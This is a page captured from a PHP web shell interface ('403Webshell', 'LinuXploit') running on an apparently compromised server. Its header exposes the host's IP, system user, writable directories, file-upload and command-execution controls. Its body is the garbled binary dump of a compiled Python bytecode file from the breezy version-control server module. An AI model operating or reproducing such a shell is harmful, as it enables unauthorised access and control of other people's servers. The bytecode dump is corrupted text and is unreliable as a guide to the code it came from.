403Webshell
Server IP : 217.160.0.64  /  Your IP : 216.73.216.182
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67269618 ( 67269618)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/kunden/usr/lib/python3/dist-packages/breezy/bzr/smart/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/kunden/usr/lib/python3/dist-packages/breezy/bzr/smart/__pycache__/server.cpython-313.pyc
�

p��gqQ���SrSSKrSSKrSSKrSSKrSSKrSSKrSSKJ	r	J
r
 SSKJr SSK
Jr SSKJr SSKJr \"\"5S	5 "S
S5r"SS
\5r\"5\l
Sr"SS5rSSjrg)z!Server for smart-server protocol.�N�)�errors�trace)�	transport)�Hooks)�gettext)�lazy_importz�
from breezy.bzr.smart import (
    medium,
    signals,
    )
from breezy.transport import (
    chroot,
    pathfilter,
    )
from breezy import (
    config,
    urlutils,
    )
c��\rSrSrSrSrSrSr\Rr	SSjr
SrSrSS	jr
SS
jrSrSrSS
jrSrSrSSjrSrSSjrSrSrg)�SmartTCPServer�3z�Listens on a TCP socket and accepts connections from smart clients.

Each connection will be served by a SmartServerSocketStreamMedium running in
a thread.

hooks: An instance of SmartServerHooks.
g�?g$@Nc�D�XlX lX0l/UlSUlg)aJConstruct a new server.

To actually start it running, call either start_background_thread or
serve.

:param backing_transport: The transport to serve.
:param root_client_path: The client path that will correspond to root
    of backing_transport.
:param client_timeout: See SmartServerSocketStreamMedium's timeout
    parameter.
FN)�backing_transport�root_client_path�_client_timeout�_active_connections�_gracefully_stopping)�selfrr�client_timeouts    �9/usr/lib/python3/dist-packages/breezy/bzr/smart/server.py�__init__�SmartTCPServer.__init__Es(��"3�� 0��-��#%�� �%*��!�c��SSKJn SSKJn X0lX@l[R
"X[R[RS[R5SnUupgp�n
[R"XgU5Ul	[RS:wa9URR[R[RS5 URRU
5 URR%5UlUR&SUlURR+S5 URR-UR.5 [0R2"5Ul[0R2"5Ul2"5Ulg!URan[ R""XU5UeSnAff=f)z�Create the server listening socket.

:param host: Name of the interface to listen on.
:param port: TCP port to listen on, or 0 to allocate a transient port.
r)�error��timeout�win32�N)�socketrr�
_socket_error�_socket_timeout�getaddrinfo�	AF_UNSPEC�SOCK_STREAM�
AI_PASSIVE�_server_socket�sys�platform�
setsockopt�
SOL_SOCKET�SO_REUSEADDR�bindr�CannotBindAddress�getsockname�	_sockname�port�listen�
settimeout�_ACCEPT_TIMEOUT�	threading�Event�_started�_stopped�_fully_stopped)r�hostr0�socket_error�socket_timeout�addrs�family�socktype�proto�	canonname�sockaddr�messages            r�start_server�SmartTCPServer.start_serverYsk��	1�4�)��-���"�"���(�(�&�*<�*<�a��AR�AR�
�
�
��:?�6��5�X�$�m�m�F�e�D����<�<�7�"����*�*�6�+<�+<�f�>Q�>Q�ST�U�	M����$�$�X�.��,�,�8�8�:����N�N�1�%��	����"�"�1�%����&�&�t�';�';�<�!���)��
�"���)��
�(�o�o�/�����!�!�	M��*�*�4�w�?�W�L��	M�s�F-�-G�=G�Gc��URR/nURURR55 U$![R
a U$f=f�N)r�base�append�external_urlr�InProcessTransport)r�urlss  r�
_backing_urls�SmartTCPServer._backing_urls�s^�� �&�&�+�+�,��	��K�K��.�.�;�;�=�>�����(�(�	����	�s�)A�A�Ac���UcUR5n[RSHnU"XR55 M [RSHnU"X5 M
 g)N�server_started�server_started_ex�rLr�hooks�get_url�r�backing_urls�hooks   r�run_server_started_hooks�'SmartTCPServer.run_server_started_hooks�sX�����-�-�/�L�"�(�(�)9�:�D���|�|�~�.�;�"�(�(�)<�=�D���$�>rc��UcUR5n[RSHnU"XR55 M g)N�server_stoppedrQrTs   r�run_server_stopped_hooks�'SmartTCPServer.run_server_stopped_hooks�s:�����-�-�/�L�"�(�(�)9�:�D���|�|�~�.�;rc��[R"[S55 SUlSUlUR
HupUR
5 M g)NzRequested to stop gracefullyT)r�noter�_should_terminaterr�_stop_gracefully)r�handler�_s   rr`�SmartTCPServer._stop_gracefully�sB��
�
�
�7�9�:�;�!%���$(��!��2�2�J�G��$�$�&�3rc� �UR5 UR(dg[R"[	S5[UR54-5 UR
5UR-nUR(a�UR
5nX!:�aD[R"[	S5[UR54-5 X R-nURUR5 UR(aM�gg)Nz"Waiting for %d client(s) to finishz(Still waiting for %d client(s) to finish)	�_poll_active_connectionsrrr^r�len�_timer�_LOG_WAITING_TIMEOUT�_SHUTDOWN_POLL_TIMEOUT)r�
t_next_log�nows   r�_wait_for_clients_to_disconnect�.SmartTCPServer._wait_for_clients_to_disconnect�s����%�%�'��'�'��
�
�
��8�9��4�+�+�,�.�
/�	
��[�[�]�T�%>�%>�>�
��&�&��+�+�-�C�� ��
�
��F�G��4�3�3�4�6�7��!�#<�#<�<�
��)�)�$�*E�*E�F��&�&�&rc���URn[R[U5U5 SUlUR5 URR5 UR(dsURR5up4UR(aUR5 O4URX15 UR+5 UR(dMsURR5 UR8R5 [R;[U55 UR=5 UR>(aURA5 URBR5 g!URa N�URa_nURS[R [R"4;a#[$R&"[)S5U4-5 SnAGN=SnAff=f![,a e[.a: [$R0"[2R4"5[2R65 ef=f!URa GNkf=f!URR5 O!URa Of=fUR8R5 [R;[U55 UR=5 f=f)NFrzlistening socket error: %s)"r`�signals�register_on_hangup�idr_rWr6�setr&�accept�close�
serve_connr!r �args�errno�EBADF�EINTRr�warningrre�KeyboardInterrupt�	Exception�report_exceptionr'�exc_info�stderrr7�unregister_on_hangupr[rrlr8)r�thread_name_suffix�stop_gracefully�conn�client_addr�es      r�serve�SmartTCPServer.serve�s<���/�/���"�"�2�d�8�_�=�!&���	
�%�%�'��
�
����%	,�
��0�0�B�,0�,?�,?�,F�,F�,H�)�� �1�1� �J�J�L�!�����A��1�1�3�'�0�0�0�6
��#�#�)�)�+�
�M�M�����(�(��D��2��)�)�+��$�$��0�0�2������!��G �/�/����-�-�X�
�6�6�!�9�U�[�[�%�+�+�,F�F�!�M�M�'�2N�*O�ST�RV�*V�W���
X��%�
���
��&�&�s�|�|�~�s�z�z�B��
���%�%�
��
��
��#�#�)�)�+���%�%�
��
��
�M�M�����(�(��D��2��)�)�+�s��H�1F�
!H�.I-�/2H�$I�H�H�H�#AG=�7H�=H�H�AI�I-�I*�)I*�-K)�/J
�	K)�
J�K)�J�AK)c�Z�SRURSURS5$)zReturn the url of the server.zbzr://{}:{}/rr)�formatr/�rs rrS�SmartTCPServer.get_url�s'���$�$�T�^�^�A�%6����q�8I�J�Jrc�j�[RUURURURS9$)Nr)�medium�SmartServerSocketStreamMediumrrr)rr�s  r�
_make_handler�SmartTCPServer._make_handler�s8���3�3���"�"��!�!��(�(�	4�
�	
rc��/nURH?up4URU5 UR5(dM-URX445 MA X lg)a1Check to see if any active connections have finished.

This will iterate through self._active_connections, and update any
connections that are finished.

:param timeout: The timeout to pass to thread.join(). By default, we
    set it to 0, so that we don't hang if threads are not done yet.
:return: None
N)r�join�is_aliverH)rr�still_activera�threads     rre�'SmartTCPServer._poll_active_connectionssM����#�7�7�O�G��K�K�� ���� � ��#�#�W�$5�6� 8�$0� rc�L�URS5 UR[R[RS5 SU-nURU5n[R"SURUSS9nURRXE45 UR5 U$)NTrzsmart-server-child)�name�daemon)�setblockingr)r�IPPROTO_TCP�TCP_NODELAYr�r4�Threadr�rrH�start)rr�r��thread_namera�connection_threads      rru�SmartTCPServer.serve_conns���	
���������*�*�F�,>�,>��B�*�-?�?���$�$�T�*��%�,�,��'�-�-�k�$�
��	
� � �'�'��(D�E����!� � rc��URR5 [R"SURU4SUR5-SS9UlURR5 URR5 g)Nzserver-T)rvr�r�)	r6�clearr4r�r�rS�_server_threadr��wait)rr�s  r�start_background_thread�&SmartTCPServer.start_background_thread%sj���
�
����'�.�.���J�J�$�&��T�\�\�^�+��
���	
���!�!�#��
�
���rc�6�URR5 SUlURR	5 URR
5(dt[R"5nUR[R[RS5 URUR5(dUR	5 URR5 URR5 g!UR
a N�f=f)NTr)r7r�r_r&rtr �is_setrr)r�r��
connect_exr/r�r�r�)r�temp_sockets  r�stop_background_thread�%SmartTCPServer.stop_background_thread1s����
�
����!%���	����%�%�'��}�}�#�#�%�%�!�-�-�/�K��"�"�6�#5�#5�v�7I�7I�1�M��)�)�$�.�.�9�9��!�!�#��
�
������� � �"���!�!�	��	�s�D�D�D)rrr8rr&r�r_r r!r/r6r7rr0r)�/NrF)�)g)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r3rirh�timergrrCrLrWr[r`rlr�rSr�rerur�r��__static_attributes__�rrrr3sm����O� ����
�Y�Y�F�*�('0�R�.%�/�'�G�&7"�rK�
�0�"!�
�#rrc��\rSrSrSrSrSrg)�SmartServerHooksiKzHooks for the smart server.c���[R"USS5 URSSS5 URSSS5 URS	S
S5 URSSS
5 g)zjCreate the default hooks.

These are all empty initially, because by default nothing should get
notified.
zbreezy.bzr.smart.serverzSmartTCPServer.hooksrOaCalled by the bzr server when it starts serving a directory. server_started is called with (backing urls, public url), where backing_url is a list of URLs giving the server-specific directory locations, and public_url is the public URL for the directory being served.)r�rPzvCalled by the bzr server when it starts serving a directory. server_started is called with (backing_urls, server_obj).)r�rZz�Called by the bzr server when it stops serving a directory. server_stopped is called with the same parameters as the server_started hook: (backing_urls, public_url).�server_exceptionz�Called by the bzr server when an exception occurs. server_exception is called with the sys.exc_info() tuple return true for the hook if the exception has been handled, in which case the server will exit normally.)��N)rr�add_hookr�s rr�SmartServerHooks.__init__Ns��	���t�6�8N�O��
�
��
9�

�	
�	
�
�
��
H��		
�	
�
�
��
?�
�	
�	
�
�
��
;�
�
	
rr�N)r�r�r�r�r�rr�r�rrr�r�Ks
��%�$
rr�c��UR5nURS5(aU[S5Sn[R	U5$![R
a gf=f![R[4a gf=f)aReturn a local path for transport, if reasonably possible.

This function works even if transport's url has a "readonly+" prefix,
unlike local_path_from_url.

This essentially recovers the --directory argument the user passed to "bzr
serve" from the transport passed to serve_bzr.
z	readonly+N)	rI�
startswithrf�urlutils�local_path_from_url�
InvalidURLrrJ�NotImplementedError)r�base_urls  r�_local_path_for_transportr�xs�����)�)�+��
���{�+�+���K� 0� 2�3�H�	��/�/��9�9���"�"�	��	��
�%�%�':�;����s"�A&�A�A#�"A#�&B�Bc�R�\rSrSrSrSSjrSrSrSrSr	S	r
S
rSrSr
S
rg)�BzrServerFactoryi�zHelper class for serve_bzr.Nc��/UlSUlSUlUc[RR
nXlUc[nX lgrF)	�cleanups�	base_pathr�os�path�
expanduser�userdir_expanderr��
get_base_path)rr�r�s   rr�BzrServerFactory.__init__�sE����
����!%����#�!�w�w�1�1�� 0��� �5�M�*�rc��UnURS5(adURU5nURS5(dUS-
nURUR5(aU[	UR5SnU$)a�Translate /~/ or /~user/ to e.g. /home/foo, using
self.userdir_expander (os.path.expanduser by default).

If the translated path would fall outside base_path, or the path does
not start with ~, then no translation is applied.

If the path is inside, it is adjusted to be relative to the base path.

e.g. if base_path is /home, and the expanded path is /home/joe, then
the translated path is joe.
�~r�N)r�r��endswithr�rf)rr��result�expandeds    r�_expand_userdirs�!BzrServerFactory._expand_userdirs�sr�����?�?�3����,�,�T�2�H��$�$�S�)�)��C����"�"�4�>�>�2�2�!�#�d�n�n�"5�"7�8���
rc�@�[RXR5$rF)�
pathfilter�PathFilteringServerr�)rrs  r�_make_expand_userdirs_filter�-BzrServerFactory._make_expand_userdirs_filter�s���-�-�i�9N�9N�O�Orc��URU5Ul[RU5nUR	5 UR
R
UR5 [R"UR55nURbjURU5nUR	5 UR
R
UR5 [R"UR55nXlg)z5Chroot transport, and decorate with userdir expander.N)
r�r��chroot�ChrootServerrCr�rH�stop_server�_mod_transport�get_transport_from_urlrSr�r)rr�
chroot_server�expand_userdirss    r�_make_backing_transport�(BzrServerFactory._make_backing_transport�s����+�+�I�6����+�+�I�6�
��"�"�$��
�
���]�6�6�7�"�9�9�-�:O�:O�:Q�R�	��>�>�%�#�?�?�	�J�O��(�(�*��M�M� � ��!<�!<�=�&�=�=�o�>U�>U�>W�X�I�"�rc�j�[RR[RR4$rF)r'�stdin�buffer�stdoutr�s r�_get_stdin_stdout�"BzrServerFactory._get_stdin_stdout�s!���y�y������!2�!2�2�2rc���Uc%[R5nURS5nU(a2UR5upg[RXgURUS9nO~Uc[RnUc[Rn[URUS9nURX5 [R"[S5[UR55 X�lg)Nzserve.client_timeoutr)rzlistening on port: %s)�config�GlobalStack�getr�r��SmartServerPipeStreamMediumr�BZR_DEFAULT_INTERFACE�BZR_DEFAULT_PORTrrCrr^r�strr0�smart_server)	rr9r0�inetr�cr�r�r�s	         r�_make_smart_server�#BzrServerFactory._make_smart_server�s����?��"�"�$�A��e�e�2�3�G�� �2�2�4�M�E�!�=�=��t�~�~�w�>��L��|��3�3���|��.�.��)�$�.�.��Q�L��%�%�d�1��J�J�w�6�7��\�=N�=N�9O�P�(�rc�8^^^^^�SSKJmJm TRmTRmUUUU4SjnUR
R
U5 TR5TlSTl[R5mU4SjnUR
R
U5 g)Nr)�lockdir�uic�">�TTlTTlgrF)�
ui_factory�_DEFAULT_TIMEOUT_SECONDS)r��old_factory�old_lockdir_timeoutrs����r�.restore_default_ui_factory_and_lockdir_timeout�XBzrServerFactory._change_globals.<locals>.restore_default_ui_factory_and_lockdir_timeout�s���'�B�M�/B�G�,rc�0>�[RT5 grF)ro�restore_sighup_handler)�origs�r�restore_signals�9BzrServerFactory._change_globals.<locals>.restore_signals�s����*�*�4�0r)
�breezyr�rrrr�rH�SilentUIFactoryro�install_sighup_handler)rrrr�rrr
rs   @@@@@r�_change_globals� BzrServerFactory._change_globals�s}���&��m�m��%�>�>��	C�	C�	
�
�
���K�L��*�*�,��
�+,��(��-�-�/��	1�	
�
�
���_�-rc�j�URU5 URX#XE5 UR5 grF)r�r�r)rrr9r0r�rs      r�set_up�BzrServerFactory.set_up�s,���$�$�Y�/�����D�:����rc�J�[UR5H
nU"5 M grF)�reversedr�)r�cleanups  r�	tear_down�BzrServerFactory.tear_down�s����
�
�.�G��I�/r)rr�r�r�r�rr�)NN)r�r�r�r�r�rr�r�r�r�r�rrrr�r�rrr�r��s3��%�	+��*P�#� 3�)�&.�0�
rr�c�\�[5nURXX#U5 URR5 UR5 g![aB Sn[
RSHnU"[R"55nM  U(deN\f=f!UR5 f=f)z�This is the default implementation of 'bzr serve'.

It creates a TCP or pipe smart server on 'transport, and runs it.  The
transport will be decorated with a chroot and pathfilter (using
os.path.expanduser).
Fr�N)
r�rr�r��
BaseExceptionrrRr'r~r)rr9r0r�r�
bzr_server�hook_caught_exceptionrVs        r�	serve_bzrr�s���"�#�J�
����)�4�w�?����%�%�'�	������� %��"�(�(�);�<�D�$(�����$8�!�=�$��%�	��	����s$�-A
�
A	B�B�B�B�B+)NNFN)r�rw�os.pathr�rr'r4r�r�rrrr�rRr�i18nrr	�globalsrr�r�r�rr�rr�<module>r"s{��"(���
�
����+���&���I�
��&U#�U#�p'
�u�'
�T(�)����.k�k�\r

Youez - 2016 - github.com/yon3zu
LinuXploit